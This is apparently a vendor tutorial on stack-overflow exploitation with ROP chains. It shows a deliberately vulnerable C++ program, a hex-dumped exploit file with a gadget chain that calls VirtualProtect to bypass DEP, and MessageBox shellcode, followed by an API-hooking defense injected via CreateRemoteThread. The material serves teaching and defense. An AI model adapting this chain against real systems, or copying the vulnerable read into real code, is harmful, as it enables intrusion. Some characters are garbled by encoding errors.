Software is never made perfect and developers can never account for everything. There will always be errors and misses, some of them more prominent than others. Malicious perpetrators often exploit such vulnerabilities to get control over the software in question. And while there is no way to eliminate every possible error, it is possible to protect your software from zero day atatcks and exploits by focusing your efforts and attention on the parts that matter.
If you know how perpetrators are finding and using vulnerabilities, you can account for it and protect your software contributing to true proactive security.
In this tutorial, we will focus on ever prominent stack overflow exploits, describe the basics of ROP chains, and give some examples of how they work and how to code executable to defend from ROP attacks.
We hope that this will provide you some food for thought and become a stepping stone on your journey to writing more secure software in the future. And if you need an expert in reverse engineering with skills in creating secure software, you can always contact Apriorit.
Contents
What is ROP?
ROP is an acronym that stands for return-oriented programming. This is a specific technique that uses exploits to overcome such defenses as code signing and W xor X technique (non-executable memory) in order to allow a perpetrator to execute their own malicious code.
Hackers can easily load your shellcode in the stack or the heap but they canโt start executing it at once. Exploiting memory corruption created by shellcode injection, the hacker gets the control over EIP and jumps to his code using a chain of carefully chosen ROP gadgets.
ROP gadget is a set of assembler instructions ending with ret instruction or analogs. ROP gadgets may look like this:
0x1000b516 : pop eax ; pop ebp ; ret
0x10015875 : pop eax ; pop ebp ; ret 0x1c
0x1000ffe3 : pop eax ; pop ecx ; xchg dword ptr [esp], eax ; jmp eax
Fortify your software against cyber threats
Ensure robust cybersecurity within all your solutions and projects by leveraging Apriorit’s rich expertise and experience in security engineering.
Attack
An attack using the ROP chain is possible if there is a vulnerability in the target application. Windows has two main ways to safeguard software: Data Execution Prevention or DEP, as well as Address Space Layout Randomization or ASLR.
Address Space Layout Randomization makes it difficult to hardcode addresses/memory locations by making predicting them very difficult. This, in turn, makes it very difficult to create a solid exploit. It is achieved by randomizing heap, stack, and module base addresses. Data Execution Prevention works by preventing code from being executed on the stack.
These mechanisms also can be bypassed with more advanced technics. DEP can be bypassed by calling memory allocation/protection functions from the application import address table (IAT). Some examples of such functions:
Some of such calls are:
- VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory. This function provides the ability to make a new memory region where the hacker can then copy the shellcode and run it. In order to do this, hackers most often will need to chain two APIs together.
- SetProcessDEPPolicy(). With this function, a perpetrator can change the DEP policy for the process, which ultimately allows for the shellcode to be executed from the stack. It works only on Windows XP SP3, Vista SP1, and Server 2008 and requires DEP Policy to be set to OptOut or OptIn.
- VirtualProtect(PAGE_READ_WRITE_EXECUTE). It allows hackers to mark the location with the shellcode as an executable for the memory page in question. It is made possible by changing the access protection level.
- NtSetInformationProcess(). DEP policy for the current process can be changed using this function. It allows perpetrators to execute shellcode from the stack.
- WriteProcessMemory(). This function allows the perpetrator to copy the shellcode to another location, allowing them to jump there and run it. This means, however, that the target location needs to be writable and executable.
- HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + copy memory. Very similar to the first function mentioned (VirtualAlloc), it requires the perpetrator to chain three APIs into each other to work.
Bypass of ASLR is possible by determining the load address of desired modules (for example, kernel32.dll) and generating proper addresses for the whole ROP chain.
Letโs consider an example of an application with a stack overflow vulnerability. This program allows an attacker to overwrite the return address in the stack frame and set EIP to the desired value, thus executing code from the stack. For the sake of simplicity, in this article the application supports only DEP protection and does not support ASLR protection โ we disable this option via Visual Studio project properties:
The simplest application with stack overflow issue may look like this:
std::ifstream fileStream("C:\\test.txt", std::ifstream::binary);
if (fileStream)
{
// get length of file:
fileStream.seekg(0, fileStream.end);
const int length = fileStream.tellg();
fileStream.seekg(0, fileStream.beg);
char smallBuffer[25] = {0};
std::cout << "Reading " << length << " characters... ";
// read data as a block:
fileStream.read(smallBuffer,length);
if (fileStream)
{
std::cout << "all characters read successfully.";
}
else
{
std::cout << "error: only " << fileStream.gcount() << " could be read";
}
fileStream.close();
As you may see โ the stack overflow issue can be easily achieved. However, in order to build this code in Visual Studio 2015 which is used in this article, we need to add
#pragma check_stack(off)
This app can be built using any other build environment without that option.
File test.txt which is read by the application contains an ROP chain. ROP chain is specifically designed to bypass DEP protection and call our code.
In the hex editor test.txt looks like this:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 31 32 33 34 31 32 33 34
74 74 74 74 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 74 74 74 74 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 BA E3 83 6A 00 20 88 6A
FF FF FF FF 00 00 00 00 00 00 00 00 88 D5 84 6A
AB CF 82 6A 75 B9 85 6A 8E 4E 83 6A 00 F0 FF FF
A0 10 00 00 40 00 00 00 00 20 88 6A F8 60 83 6A
E5 FF 82 6A 00 20 88 6A F8 FF FF FF 6F 28 83 6A
6F 28 83 6A 78 BE 83 6A BA 25 84 6A BE 3C 85 6A
DE 10 83 6A 31 32 33 34 A3 5E 83 6A A3 5E 83 6A
A3 5E 83 6A 5B 5E 83 6A 56 16 83 6A FB 22 85 6A
D3 F3 85 6A 8B F4 81 C4 1C FF FF FF EB 22 75 73
65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65
42 6F 78 41 00 90 90 90 90 90 90 90 90 90 90 90
8D 46 0A 50 3E FF 15 60 50 88 6A 8B C8 8D 5E 15
53 51 3E FF 15 AC 50 88 6A FF D0 CC
In this file ROP chain begins with ba e3 83 6a (0x6a83e3ba). This is a place in a file after a crash where EIP points to. ROPgadget.py is a utility to gather possible ROP gadgets for a given module. It was used to get ROP gadgets for msvcp140.dll. In order to prepare proper addresses for the ROP chain, we need to determine a load address of msvcp140.dll and a base address of msvcp140.dll. This load address is constant during the Windows sessions since we disabled ASLR support before.
If we run our application on the testing environment we can see that the load address of msvcp140.dll in this Windows session will be 6a880000:
Using IDA-Pro we can determine that the base address for msvcp140.dll is 1000000
So the proper address for ROP gadgets will be calculated the next way:
6a880000 – 1000000 + gadgetAddress = address to place in the file.
Read also
Detecting Hook and ROP Attacks: Methods with Examples
Safeguard your applications from hooks and return-oriented programming (ROP) attacks. Our developers offer some valuable tips and tricks to help you enhance your software’s security against sophisticated threats.
ROP chain is specifically designed to bypass DEP by calling VirtualProtect() function and then call our code in protected memory. The first thing that we need in an ROP chain is to prepare a stack for the execution of Virtual Protect with flNewProtect parameter == PAGE_EXECUTE_READWRITE. It can be achieved in few steps:
1) charge registers with useful parameters. Particularly we want to fill edi with gadget address 0x1002d588 to acquire a stack
0x1001e3ba : pop eax; pop edi; pop esi; pop ebp; ret
2) acquire a stack
0x1002d588 : and edi, esp; add byte ptr[eax], al; ret 0x18
3) configure a stack for calling VirtualProtect. We need to place VirtualProtect call address from application IAT, return address and parameters continuously into the stack
0x1000cfab : mov eax, edi; pop edi; pop esi; pop ecx; pop ebp; ret
0x1001286f : add eax, 6; ret
0x1001286f : add eax, 6; ret
0x1001be78 : add dword ptr[eax], eax; ret
0x100225ba : add eax, ebp; ret
0x10033cbe : add dword ptr[eax], 2; ret
0x100110de : mov ecx, eax; mov eax, ecx; pop ebp; ret
0x10015ea3 : mov eax, dword ptr[eax]; ret
0x10015ea3 : mov eax, dword ptr[eax]; ret
0x10015ea3 : mov eax, dword ptr[eax]; ret
0x10015e5b : mov dword ptr[ecx], eax; ret
0x10011656 : mov eax, ecx; ret
4) restore ESP to the position where VirtualProtect call starts
0x100322fb : xchg eax, esp; ret
5) when VirtualProtect function returns the next chain of gadgets executed in order to move ESP to the code payload that was placed in the test.txt right after our ROP chain:
6a834e8e c22000 ret 20h
6a8360f8 c21800 ret 18h
a8310de 8bc8 mov ecx, eax; mov eax, ecx; pop ebp; ret
6a85f3d3 fff4 push esp; ret
After execution of VirtualProtect, we have 0x1000 of writeable and executable memory to execute anything we want. In this article, MessageBox will be called. Code of payload for calling MessageBox function looks like this:
unsigned char payload[] = { 0x8B, 0xF4,
// mov esi,esp
0x81, 0xC4, 0x00, 0x00, 0x10, 0x00,
// add esp, 0x100000
0xEB, 0x22,
// skip data section
0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00,
0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90,
0x8D, 0x46, 0x0A,
// lea eax, [esi + A]
0x50,
// push eax
0x3E, 0xFF, 0x15, 0x60, 0x50, 0x88, 0x6a,
// call dword ptr ds:[6a885060h] //LoadLibrary 0x6a885060
0x8B, 0xC8,
// mov ecx,eax
0x8D, 0x5E, 0x15,
// lea ebx,[esi+15h]
0x53,
// push ebx
0x51,
// push ecx
0x3E, 0xFF, 0x15, 0xac, 0x50, 0x88, 0x6a,
// call dword ptr ds:[6a8850ach] //GetProcAddress 0x6a8850ac
0xFF, 0xD0,
// call eax
0xCC };
Letโs test our ROP chain:
This is an example of the stack overflow ROP exploit, which we used to call our code (which also can be harmful). Letโs consider how we can create a functional defense against such attacks.
Read also
DDoS Attacks: Technique Overview and Mitigation Best Practices
Explore the most common types of DDoS attacks and learn effective techniques to detect and mitigate them. Our experts offer their practical recommendations to help your development team build secure and resilient web applications.
Defense
It is clear that in order to call some code on a stack of the application ROP chain MUST bypass DEP protection. ROP chain in this article bypasses it by calling the VirtualProtect function. So if we want to protect our software against ROP attacks we could consider protection against calls that can alter memory attributes.
Letโs consider an example of protection against the ROP chain implemented in the previous paragraph. The main feature of such ROP โ it calls VirtualProtect(). We want to somehow prevent the call of the VirtualProtect() function. For such purposes, we can consider the API hooking mechanism and its injection into processes that we want to protect.
In this article, for API hooking we use mhook library. With this library the code for VirtualProtect() hooking may look like:
// Original function
PVIRTUAL_PROTECT OriginalVirtualProtect =
(PVIRTUAL_PROTECT)::GetProcAddress(::GetModuleHandle(L"kernel32"), "VirtualProtect");
// Hooked function
BOOL WINAPI HookedVirtualProtect(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpfOldProtect
)
{
if (flNewProtect != PAGE_EXECUTE_READWRITE)
{
return OriginalVirtualProtect(lpAddress, dwSize, flNewProtect, lpfOldProtect);
}
else
{
std::cout << "\nNailed a hacker trying to bypass DEP!!!" << std::endl << std::endl;
system("pause");
return 0;
}
}
We check if VirtualProtect() tries to patch memory with PAGE_EXECUTE_READWRITE attributes and return 0 (function fails) if it does.
To set such hook we call Mhook_SetHook() function from DllMain():
INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved)
{
switch (Reason)
{
case DLL_PROCESS_ATTACH:
Mhook_SetHook(reinterpret_cast<PVOID*>(&OriginalVirtualProtect), HookedVirtualProtect);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
The last thing that we need is to inject this protective code into our process. This can be accomplished in the following way:
1) Create a suspended process of the vulnerable application:
const std::wstring pathToApp(argv[1]);
BOOL res = ::CreateProcessW(
NULL,
const_cast<LPWSTR>(pathToApp.c_str()),
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&processInfo
);
2) Inject a call of LoadLibraryA into the vulnerable application using CreateRemoteThread() function call (Actually CreateRemoteThread() is not the best way to inject code into processes because it can easily be prevented by special software and was chosen as the simplest way to demonstrate protection):
LPVOID addr = reinterpret_cast<LPVOID>(GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"));
...
LPVOID arg = reinterpret_cast<LPVOID>(::VirtualAllocEx(processInfo.hProcess, NULL, strlen(gPathToDll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
...
res = ::WriteProcessMemory(processInfo.hProcess, arg, gPathToDll, strlen(gPathToDll), NULL);
...
ATL::CHandle thread(::CreateRemoteThread(processInfo.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL));
...
3) Resume the main thread of the vulnerable application:
const DWORD err = ::ResumeThread(processInfo.hThread);
Letโs test our security code injection into the vulnerable application.
Protection against ROP attacks works! And this is only one way of protection โ there are many other approaches. If you’re interested in writing secure applications, check out our article on typical web application security issues and ways to solve them.
Related project
Improving a SaaS Cybersecurity Platform with Competitive Features and Quality Maintenance
Explore our clientโs success story of enhancing their platform’s cybersecurity posture and expanding its functionality. Find out how Apriorit experts managed to make the client’s platform stable and competitive.
Conclusion
Understanding how attackers find and exploit vulnerabilities is very important for implementing proactive security measures. In this article, we covered the fundamentals of stack overflow exploits and ROP chains, providing examples of how they operate and how to code executables to defend against ROP attacks.
With this article, you can take significant steps toward writing more secure software. Achieving true security is an ongoing process that requires continuous learning and adaptation. If you need expert assistance in reverse engineering and developing secure software, the team at Apriorit is ready to help you enhance your security posture.
Want to secure your systems with advanced engineering?
Get resilient and secure software with data and operations remain protected by outsourcing software development to Apriorit’s skilled engineers.